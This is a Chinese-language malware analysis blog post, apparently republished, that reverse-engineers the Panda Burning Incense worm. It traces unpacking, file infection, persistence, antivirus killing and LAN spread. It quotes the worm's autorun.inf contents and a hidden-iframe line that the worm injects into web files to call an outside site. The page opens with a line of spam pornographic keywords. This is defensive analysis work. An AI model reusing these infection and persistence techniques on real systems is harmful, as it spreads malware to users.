乡下人产国偷v产偷v自拍,国产午夜片在线观看,婷婷成人亚洲综合国产麻豆,久久综合给合久久狠狠狠9

  • <output id="e9wm2"></output>
    <s id="e9wm2"><nobr id="e9wm2"><ins id="e9wm2"></ins></nobr></s>

    • 分享

      惡意代碼分析——熊貓燒香

       印度阿三17 2021-02-24

      記錄對一些惡意代碼的分析的過程

      標(biāo)題

      靜態(tài)分析

      1. 查殼——FSG 2.0
        在這里插入圖片描述

      2. 脫殼
        1) ? OllyDump找到OEP:
        在這里插入圖片描述
        2) ? OllyDump進(jìn)行二進(jìn)制Dump
        在這里插入圖片描述
        在這里插入圖片描述
        3) ? ImportRCE進(jìn)行導(dǎo)入表修復(fù),并且將新的導(dǎo)入OD中Dump下的二進(jìn)制文件中
        在這里插入圖片描述
        4) ? 重新查殼:Delphi 編寫(該在調(diào)用函數(shù)時,利用寄存器進(jìn)行函數(shù)參數(shù)傳遞)但是導(dǎo)入表中卻只識別出一個dll
        在這里插入圖片描述
        在這里插入圖片描述
        5) ? 按照上述的方式脫殼后,會發(fā)現(xiàn)在調(diào)試程序時會報錯,這說明程序脫殼有問題,后來參考其他朋友的方博客才知道,原來是IAT中被插入了垃圾數(shù)據(jù),這些數(shù)據(jù)需要被手工修改。
        6) ? 找到OEP,進(jìn)入004049E8,再進(jìn)入00404924,找到IAT首地址,再數(shù)據(jù)窗口中跟隨進(jìn)行檢查,將其中的垃圾數(shù)據(jù)修改為00000000
        在這里插入圖片描述
        在這里插入圖片描述
        在這里插入圖片描述
        7) ? 然后回到OEP利用OllyDump將程序Dump下來,然后重復(fù)第一次的脫殼操作;增卻脫殼后的程序用PEID檢查時會發(fā)現(xiàn)其導(dǎo)入表中的依賴庫非常多。
        在這里插入圖片描述

      IDA分析

      1. IDA載入樣本——所有的函數(shù)均未被IDA識別
        在這里插入圖片描述

      2. 由于程序是Delphi編寫,在IDA中加入Delphi的簽名
        在這里插入圖片描述
        在這里插入圖片描述在這里插入圖片描述

      3. 再看IDA窗口,部分函數(shù)已經(jīng)被正確識別:
        在這里插入圖片描述

      4. 首先調(diào)用函數(shù)InitExe進(jìn)行初始化,然后多次調(diào)用LStrAsg函數(shù)進(jìn)行字符串復(fù)制進(jìn)行初始化:
        在這里插入圖片描述
        在這里插入圖片描述

      5. 繼續(xù)往下,發(fā)現(xiàn)第一個未識別的函數(shù)sub_405250,經(jīng)過分析可知該函數(shù)為一個解密函數(shù)
        在這里插入圖片描述
        由于無法從IDA中無法方便地分析傳入的參數(shù),在IDA中的此處下段,然后發(fā)現(xiàn)傳入的參數(shù)為兩個字符串和一個棧地址,經(jīng)過此函數(shù)處理后,棧中保存了另一個同樣長度的字符串。
        在這里插入圖片描述
        在這里插入圖片描述

      6. 對函數(shù)sub_405250重命名
        在這里插入圖片描述

      7. 繼續(xù)往下,在0040D60A處又調(diào)用了此解密函數(shù)和LStrCmp進(jìn)行字符串比較,此處是在進(jìn)行程序的校驗,如果校驗失敗,則終止程序。
        在這里插入圖片描述

      8. 繼續(xù)往下,調(diào)用三個函數(shù):sub_40819C、sub_40D18C、sub_40D088,調(diào)用此三個函數(shù)后,程序的整個邏輯就較為簡單,并且?guī)缀鯚o其他函數(shù)調(diào)用,則說明這三個函數(shù)包含了大部分的惡意代碼的核心功能。
        在這里插入圖片描述

      9. 接下來對這三個函數(shù)分別分析

      sub_40819C

      1. sub_40819C —— 惡意程序駐留,創(chuàng)建并執(zhí)行bat文件和程序執(zhí)行路徑檢測
        1)? 該函數(shù)首先進(jìn)行一個循環(huán),進(jìn)行132次循環(huán),每次進(jìn)行兩次push 0操作,應(yīng)該是進(jìn)行??臻g的分配
        在這里插入圖片描述
        2)? 繼續(xù)往下,發(fā)現(xiàn)一個未被識別的系統(tǒng)函數(shù),用OD 進(jìn)行動態(tài)分析,發(fā)現(xiàn)此系統(tǒng)函數(shù)的功能就是獲取傳入路徑的目錄,在IDA中進(jìn)行重命名SyS_GetPath_Folder。
        在這里插入圖片描述
        在這里插入圖片描述
        在這里插入圖片描述
        3)? 發(fā)現(xiàn)會拼接一個當(dāng)前程序的路徑和一個 Desktop.ini文件,應(yīng)該是會訪問或者創(chuàng)建此文件,結(jié)合OD獲得此文件的路徑
        在這里插入圖片描述
        在這里插入圖片描述
        4) ?繼續(xù)往下,發(fā)現(xiàn)會再次重復(fù)上一步的操作,獲取一個路徑然后修改其屬性,然后刪除此文件(此處的目的是檢查Desktop.ini文件是否是剛創(chuàng)建的,如果不是剛創(chuàng)建的,則對其進(jìn)行刪除):
        在這里插入圖片描述
        5) ?繼續(xù)往下,發(fā)現(xiàn)會調(diào)用一個函數(shù)sub_407650,該程序傳入的參數(shù)是當(dāng)前程序的執(zhí)行路徑,執(zhí)行完的結(jié)構(gòu)保存在var_4變量中,此處計算的結(jié)果是“MZ”,猜測他是一個程序路徑的校驗函數(shù)——重命名為“My_Guess_Path_Check”。
        在這里插入圖片描述
        6)? 程序會在004082E7處經(jīng)過一個判斷,判斷不成功則進(jìn)入一個循環(huán),最終都會跳轉(zhuǎn)到004082F3,其中sub_40521C為字符串大寫轉(zhuǎn)換,重命名為“My_Upper_Str“,
        在這里插入圖片描述
        7)? 在OD中下段查看0040834F處的函數(shù)調(diào)用為:
        在這里插入圖片描述
        8)? 繼續(xù)往下,會進(jìn)行一個字符串判斷,其中判斷的量子字符串分別是當(dāng)前程序的絕對路徑和前面拼接得到的系統(tǒng)路徑,也就是說此程序會進(jìn)行自我復(fù)制和路徑檢查;將自我復(fù)制到系統(tǒng)路徑下,然后在運行時檢查是否運行在系統(tǒng)路徑下。
        在這里插入圖片描述
        在這里插入圖片描述
        9)? 如果程序沒有運行在系統(tǒng)路徑下,那么惡意程序?qū)晕覐?fù)制到系統(tǒng)路徑下也就是"C:\WINDOWS\SYSTEM32\DRIVERS\SPO0LSV.EXE" ,然后進(jìn)行運行
        在這里插入圖片描述
        10)? 如果程序運行在系統(tǒng)路徑下,最終都會執(zhí)行到00408584地址處:
        在這里插入圖片描述
        11)? 此處調(diào)用函數(shù)sub_407B68和sub_405458,分別對兩個函數(shù)進(jìn)行分析:

        • sub_407B68函數(shù)功能——程序?qū)ο到y(tǒng)環(huán)境和運行路徑檢測,進(jìn)行bat文件執(zhí)行,對其進(jìn)行重命名My_Create_BatFile
          獲取系統(tǒng)臨時文件夾路徑:
          在這里插入圖片描述
          在這里插入圖片描述
          在臨時文件夾下創(chuàng)建批處理文件:
          在這里插入圖片描述
          然后進(jìn)行字符串拼接:
          在這里插入圖片描述
          在這里插入圖片描述
          在這里插入圖片描述
          在這里插入圖片描述
          在這里插入圖片描述
          在這里插入圖片描述
          在臨時文件夾下找到批處理文件,然后進(jìn)行查看:
          在這里插入圖片描述

        • sub_405458——此函數(shù)的主要功能是遍歷進(jìn)程,檢查是否有spolsv.exe進(jìn)程在運行,對其進(jìn)行重命名SyS_Check_Process_Running
          在這里插入圖片描述
          在這里插入圖片描述
          12)? 如果惡意程序進(jìn)程沒有在執(zhí)行,那么重新執(zhí)行系統(tǒng)目錄下的惡意程序。

      sub_40D18C

      1. sub_40D18C —— 程序的惡意行為:感染受害者主機的文件sub_40D18C函數(shù)為惡意程序的主要功能模塊,跟入該函數(shù),發(fā)現(xiàn)調(diào)用三個函數(shù):
        在這里插入圖片描述

        sub_40A5B0

        1) 第一個函數(shù)sub_40A5B0主要功能是創(chuàng)建一個線程:
        在這里插入圖片描述
        跟入線程的代碼塊,此處的代碼會先獲取磁盤目錄
        在這里插入圖片描述
        接下來的主要功能集中在函數(shù)sub_409348中
        在這里插入圖片描述

        sub_409348

        跟入函數(shù)sub_409348進(jìn)行分析,該函數(shù)非常復(fù)雜,應(yīng)該是整個惡意程序的主要功能模塊,程序首先會遍歷被感染主機,然后根據(jù)文件的格式進(jìn)行不同的操作:
        在這里插入圖片描述
        在這里插入圖片描述
        對于文件夾的話,會在指定文件夾下創(chuàng)建DeskTop.ini文件,并且會對文件的創(chuàng)建時間進(jìn)行校驗,如果不是此時產(chǎn)生的,則對文件進(jìn)刪除。
        在這里插入圖片描述
        對于不同的文件,采用不同的操作,這些文件被分為兩大類:
        1) Exe, scr,fip, com,
        2) Html, asp, php, jsp, aspx
        在這里插入圖片描述
        對于第一類文件,均調(diào)用函數(shù)sub_407F00進(jìn)行處理,第二類文件則調(diào)用函數(shù)sub_4079CC進(jìn)行處理
        在這里插入圖片描述
        在這里插入圖片描述
        結(jié)合動態(tài)檢測的結(jié)果,我們知道惡意程序會將所有的可執(zhí)行文件都變成了同樣的圖標(biāo),而此處的代碼正好會遍歷被感染主機中的所有文件,那么此處應(yīng)該就是惡意程序的核心惡意行為部分,由于不同的文件類型會調(diào)用不同的函數(shù),我們來分別對上述的兩個函數(shù)進(jìn)行分析:
         
        a) 首先是sub_407F00
        該函數(shù)首先對遍歷到的文件名進(jìn)行校驗,看看是否是惡意程序本體
        在這里插入圖片描述
        然后將遍歷到的文件讀取到內(nèi)存中
        在這里插入圖片描述
        接下來檢查內(nèi)存中該文件的數(shù)據(jù)是否包含字符串“WhBoy”,此處用于檢測程序是否已經(jīng)被感染,如果已經(jīng)被感染,則不進(jìn)行后面的感染操作,也就是說字符串“WhBoy”是程序感染的特征之一。
        在這里插入圖片描述
        用當(dāng)前運行的惡意程序替換為遍歷到的文件
        在這里插入圖片描述
        接下來進(jìn)行一個長的字符串拼接,一共6個字串拼接得到目標(biāo)字符串,由于其中一個字符串是由被遍歷的文件數(shù)據(jù),一個系統(tǒng)函數(shù)和函數(shù)sub_405534處理得到。
        在這里插入圖片描述
        用OD動態(tài)調(diào)試,查看到字符串,其中的?分別是0x1h和0x2h,字符串中見的數(shù)字應(yīng)該是文件的大??;所以,該字符的組成為:
        ”WhBoy” 程序名稱 “.exe” 0x1h 源文件大小 0x2h
        在這里插入圖片描述
        繼續(xù)往下,就發(fā)現(xiàn)了整個惡意程序的核心功能,將被遍歷文件的真實數(shù)據(jù)添加到 “假的” 被遍歷的文件(此時被遍歷的文件已經(jīng)被惡意程序替換)后面,然后將上述拼接得到的字符串也添加到后面。
        在這里插入圖片描述
        功能總結(jié):系統(tǒng)的中的源文件被感染后變成了:惡意程序 源文件 感染標(biāo)記字符串
         
        b) 接下來是函數(shù)sub_4079CC
        在這里插入圖片描述
        函數(shù)首先將被感染文件保存在內(nèi)存中,然后調(diào)用一個解密函數(shù)對兩個字符串進(jìn)行了計算,
        在這里插入圖片描述
        并且將字符串保存在遍歷var_8中,用OD調(diào)試得到的字符串如下,可以發(fā)現(xiàn)該字符串是一個隱藏的html窗口代碼,我們猜測改代碼會在html文件中插入了惡意代碼,能夠隱蔽地訪問惡意站點。
        在這里插入圖片描述
        繼續(xù)往下,程序會判斷原始文件中是否已經(jīng)包含這個惡意的html代碼,以此來檢測文件是否已經(jīng)被感染,也就是代碼"</iframe src=http://www./66/index.htm width=”0” height=”0”></ iframe>” 是第二類文件的感染標(biāo)記
        在這里插入圖片描述
        繼續(xù)往下,發(fā)現(xiàn)往文件中寫入惡意html代碼的部分:
        在這里插入圖片描述
        在這里插入圖片描述
        用OD調(diào)試得到相關(guān)的具體信息,發(fā)現(xiàn)惡意的html代碼拼接了一個換行符 “\n” 和一個回車符 “\r”;繼續(xù)單步調(diào)試,能夠驗證00407A90處的函數(shù)為長度計算函數(shù),因為該函數(shù)的參數(shù)是拼接后的惡意html代碼,而計算后eax中的返回值正好是0x4Ch (十進(jìn)制72),正好是惡意代碼的長度。
        在這里插入圖片描述

        sub_40C374

        跟入第二個函數(shù)sub_40C374,該函數(shù)會設(shè)置一個定時器,定時執(zhí)行TimerFunc處的代碼:
        在這里插入圖片描述
        進(jìn)入該代碼段進(jìn)行分析,此處的代碼會拼接兩個字符串,一個是“C:\ setup.exe”,另一個是“C:\ autorun.inf”
        在這里插入圖片描述
        在這里插入圖片描述
        繼續(xù)往下,會檢查這兩個文件的創(chuàng)建時間是否一致,如果時間不一致則將當(dāng)前程序復(fù)制到“C:\ setup.exe”;如果時間一致,則會檢查當(dāng)前程序是否是 “C:\ setup.exe”
        在這里插入圖片描述
        如果不是,則刪除 “C:\ setup.exe”
        在這里插入圖片描述
        接下來將源程復(fù)制到C盤根目錄并重命名為“C:\ setup.exe”
        在這里插入圖片描述
        進(jìn)行上述的程序復(fù)制后,會再進(jìn)行一次時間校驗,如果滿足條件則跳轉(zhuǎn)到0040C10F 中,該部分應(yīng)該是進(jìn)行inf文件內(nèi)容的檢查,對比的內(nèi)容是 “[AutoRun]\r\nOPEN=setup.exe\r\nshellexecute=setup.exe\r\nshell\Auto\command=setup.exe\r\n”)
        在這里插入圖片描述
        如果內(nèi)容不滿足條件,則將原來的inf文件刪除:
        在這里插入圖片描述
        然后創(chuàng)建一個新的inf文件,并且將剛剛用于對比的內(nèi)容寫入到inf文件中:
        在這里插入圖片描述
        在這里插入圖片描述
        在這里插入圖片描述
        接下來再將setup.exe與autorun.inf得屬性設(shè)為隱藏。
        在這里插入圖片描述

        sub_40BACC

        再跟入函數(shù)sub_40BACC, 該函數(shù)的組成較為簡單,主要調(diào)用了一個隨機數(shù)生成函數(shù)和函數(shù)sub_403C00
        在這里插入圖片描述
        跟入函數(shù)sub_403C00,發(fā)現(xiàn)該函數(shù)會創(chuàng)建一個進(jìn)程:
        在這里插入圖片描述
        直接跟如該進(jìn)程的地址并不能發(fā)現(xiàn)有用的信息,其中用動態(tài)的方式調(diào)用了一個函數(shù)call edx; 用OD進(jìn)行下段查看函數(shù)的地址為0040BA8C:
        在這里插入圖片描述
        在這里插入圖片描述
        跟入該地址0040BA8C,該地址塊代碼調(diào)用函數(shù)sub_40B864
        在這里插入圖片描述
        跟入函數(shù)sub_40B864,發(fā)現(xiàn)該函數(shù)會將惡意代碼在內(nèi)網(wǎng)進(jìn)行傳播
        在這里插入圖片描述

      sub_40D088

      1. sub_40D088 —— 設(shè)置定時器進(jìn)行程序執(zhí)行和駐留
        接下來分析函數(shù)sub_40D0881) 該函數(shù)內(nèi)部會多次調(diào)用定時器執(zhí)行代碼塊:
        sub_40CEE4
        sub_40D040
        sub_40D048
        sub_407430
        sub_40CC4C
        sub_40C728

        在這里插入圖片描述
        1) 第一個代碼塊sub_40CEE4的功能:
        該處的代碼會先進(jìn)行調(diào)用函數(shù)sub_406E2C創(chuàng)建進(jìn)程
        在這里插入圖片描述
        在這里插入圖片描述
        該進(jìn)程的代碼地址處首先進(jìn)行提權(quán)操作,然后重復(fù)相同的代碼功能——即在當(dāng)前的進(jìn)程中搜索眾多的進(jìn)程:
        在這里插入圖片描述
        對相關(guān)的地址數(shù)據(jù)進(jìn)行查看,發(fā)現(xiàn)這些進(jìn)程均為殺毒進(jìn)程:
        在這里插入圖片描述
        除了殺毒軟件外,還有一些系統(tǒng)的任務(wù)管理進(jìn)程被關(guān)閉:
        在這里插入圖片描述
        也就是說,惡意程序會將這些殺毒進(jìn)程和一些任務(wù)管理進(jìn)程都進(jìn)行關(guān)閉,防止被查殺和檢測。
        接下來,將創(chuàng)建和修改注冊表,方便惡意程序的自啟動:
        在這里插入圖片描述
        2) 代碼塊sub_40D040的分析
        同樣會創(chuàng)建一個線程,線程的起始地址為sub_40C9B0
        在這里插入圖片描述
        跟入線程的起始地址,該線程會先調(diào)用一個解密函數(shù)sub_40C4EC,然后調(diào)用函數(shù)sub_40C5E0利用QQ進(jìn)行URL訪問,并且從指定的站點中下載文件,最后將西在的文件和解密的文件進(jìn)行對比:
        在這里插入圖片描述
        sub_40C5E0利用QQ進(jìn)行URL訪問和下載文件
        在這里插入圖片描述
        在這里插入圖片描述
        在這里插入圖片描述
        3) 第三個代碼塊sub_40D048功能分析:
        創(chuàng)建兩個線程:
        在這里插入圖片描述
        第一個線程sub_40CC34起始就是第二個代碼塊的線程起始地址此處進(jìn)行了重復(fù)操作
        第二個線程sub_40CDEC——刪除被感染主機的文件共享

        4) 第四個代碼塊sub_407430分析:
        同樣創(chuàng)建線程:
        在這里插入圖片描述
        關(guān)閉系統(tǒng)服務(wù),殺毒進(jìn)程服務(wù)和刪除某些注冊表
        在這里插入圖片描述

        5) 第五個代碼塊sub_40CC4C分析和第六個代碼塊sub_40C728的功能就是前面各個代碼塊功能的組合。

        • 利用cmd執(zhí)行命令:
          在這里插入圖片描述
          在這里插入圖片描述

        • 緊接著繼續(xù)執(zhí)行另一個命令:
          在這里插入圖片描述

      2. 整個熊貓燒香的功能分析完成 (@_@)

      3. 總結(jié):對熊貓燒香這個惡意程序的分析,相對比較完整,但是還有很多細(xì)節(jié)的部分沒有分析透徹,主要原因還是技術(shù)有限 /(ㄒoㄒ)/~~ (留下了沒有技術(shù)的淚水)。另外,在本次的分析過程中,由于相關(guān)的Delphi語言的基本函數(shù)未能被IDA識別,導(dǎo)致在分析的過程中非常吃力,除了需要分析作者的功能函數(shù)外,還需要分析很多Delphi語言的基本函數(shù),而這些基本函數(shù)又是比較難分析的 /(ㄒoㄒ)/~~ (再次留下了沒有技術(shù)的淚水)。

      參考鏈接

      在分析過程中參考了以下朋友們的博客:
      參考鏈接1
      參考鏈接2 
      參考鏈接3

      來源:https://www./content-4-869001.html

        本站是提供個人知識管理的網(wǎng)絡(luò)存儲空間,所有內(nèi)容均由用戶發(fā)布,不代表本站觀點。請注意甄別內(nèi)容中的聯(lián)系方式、誘導(dǎo)購買等信息,謹(jǐn)防詐騙。如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容,請點擊一鍵舉報。
        轉(zhuǎn)藏 分享 獻(xiàn)花(0

        0條評論

        發(fā)表

        請遵守用戶 評論公約

        類似文章 更多